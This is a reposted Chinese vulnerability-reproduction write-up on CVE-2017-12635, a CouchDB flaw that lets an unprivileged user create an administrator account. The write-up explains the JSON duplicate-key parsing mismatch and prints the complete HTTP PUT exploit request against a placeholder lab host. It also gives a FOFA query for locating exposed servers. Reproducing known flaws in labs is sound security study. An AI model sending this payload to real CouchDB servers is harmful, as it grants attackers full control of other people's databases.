本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-CVE-2017-12635 CouchDB垂直越权漏洞
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
0x03 漏洞复现
漏洞影响:小于1.7.0、小于2.1.1
FOFA:“CouchDB”
漏洞成因简述:由于javascriptJSON解析方式只会存储第二个值,如下:
JSON.parse(\"{\"a\":\"1\", \"a\": \"2\"}\")
{a: \"2\"}
当传入:
\"roles\": [\"_admin\"],
\"roles\":[],
javascript会解析成:\"roles\":[]
那就意味着JavaScript在检测时,检测我们创建的用户角色=0。无角色,也就不存在权限,所以没有危害,系统判定为安全,绕过了检测。而在CouchDB的Erlang部分实现身份验证和授权时,jiffy实现的时候,getter函数只返回第一个值也就是”roles”: [“_admin”],所以创建出了具有admin权限的账户。
1.创建vulhub角色,显示只有admin才有权限创建
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 84
{
\"type\": \"user\",
\"name\": \"vulhub\",
\"roles\": [\"_admin\"],
\"password\": \"vulhub\"
}
2.多构造一个”roles”:[],成功绕过权限,并创建了vulhub的用户
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: x.x.x.x:5984
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 97
{
\"type\": \"user\",
\"name\": \"vulhub\",
\"roles\": [\"_admin\"],
\"roles\":[],
\"password\": \"vulhub\"
}
3.成功登录http://x.x.x.x:5984/_utils/#login 账号vulhub 密码vulhub
暂无评论内容